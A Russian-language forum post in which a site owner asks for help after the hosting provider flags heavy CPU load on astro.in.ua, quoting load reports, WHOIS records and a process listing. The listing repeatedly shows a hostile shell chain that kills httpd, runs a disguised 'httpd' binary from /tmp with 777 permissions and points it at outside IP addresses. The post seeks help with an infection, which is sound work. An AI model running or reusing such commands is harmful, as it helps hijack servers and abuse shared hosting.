Проверка сайта на вредоносный код
Сайт http://www.astro.in.ua/ создает нагрузку на сервер очень большую. Хостер пишет следующий текст:
2013-10-28
Account: houser Domain: astro.in.ua CPU: 252.78 Mem: 0.03 MySQL: 0.1
%CPU 88.3 - ./httpd 46.165.208.194
%CPU 81.2 - ./httpd 46.165.208.194
%CPU 80.4 - ./httpd 46.165.251.67
2013-10-27
Account: houser Domain: astro.in.ua CPU: 59.32 Mem: 0.04 MySQL: 0.0
%CPU 209 - ./httpd 198.204.237.10
%CPU 132 - ./httpd 198.204.237.10
%CPU 119 - ./httpd 172.245.28.155
2013-10-26
Account: houser Domain: astro.in.ua CPU: 42.57 Mem: 0.07 MySQL: 0.0
%CPU 127 - ./httpd 78.129.251.199
%CPU 121 - ./httpd 78.129.251.199
%CPU 120 - ./httpd 78.129.251.199
2013-10-25
Account: houser Domain: astro.in.ua CPU: 2.19 Mem: 0.05 MySQL: 0.0
%CPU 38.0 - /usr/bin/php
%CPU 30.0 - /usr/bin/php
%CPU 25.5 - /usr/bin/php
2013-10-24
У Вас в процессах висят такие службы :
houser 416461 0.0 0.0 11300 1284 ? S 20:30 0:00 sh -c killall -s 9 httpd;chmod +x httpd;./httpd "46.165.208.194";cp httpd /tmp;chmod 777 /tmp/httpd;./tmp/httpd "46.165.208.194"
houser 416464 31.9 0.0 44236 760 ? Rl 20:30 3:40 \_ ./httpd 46.165.208.194
houser 735373 0.0 0.0 11300 1284 ? S 20:35 0:00 sh -c killall -s 9 httpd;chmod +x httpd;./httpd "46.165.208.194";cp httpd /tmp;chmod 777 /tmp/httpd;./tmp/httpd "46.165.208.194"
houser 735585 25.9 0.0 134392 816 ? Rl 20:35 1:46 \_ ./httpd 46.165.208.194
houser 759579 0.0 0.0 11300 1284 ? S 20:35 0:00 sh -c killall -s 9 httpd;chmod +x httpd;./httpd "46.165.251.67";cp httpd /tmp;chmod 777 /tmp/httpd;./tmp/httpd "46.165.251.67"
houser 760453 27.5 0.0 60628 768 ? Rl 20:35 1:46 \_ ./httpd 46.165.251.67
houser 789251 0.0 0.0 11300 1280 ? S 20:36 0:00 sh -c killall -s 9 httpd;chmod +x httpd;./httpd "46.165.208.194";cp httpd /tmp;chmod 777 /tmp/httpd;./tmp/httpd "46.165.208.194"
houser 789775 27.0 0.0 60628 768 ? Rl 20:36 1:37 \_ ./httpd 46.165.208.194
Уточните пожалуйста IP указанные 46.165.208.194, 46.165.251.67 знакомы Вам ?
inetnum: 46.165.208.0 - 46.165.215.255
netname: NETDIRECT-NET
descr: Leaseweb Germany GmbH (previously netdirekt e. K.)
remarks: INFRA-AW
country: DE
admin-c: LSWG-RIPE
inetnum: 46.165.250.0 - 46.165.251.255
netname: NETDIRECT-NET
descr: Leaseweb Germany GmbH (previously netdirekt e. K.)
remarks: INFRA-AW
country: DE
admin-c: LSWG-RIPE
tech-c: LSWG-RIPE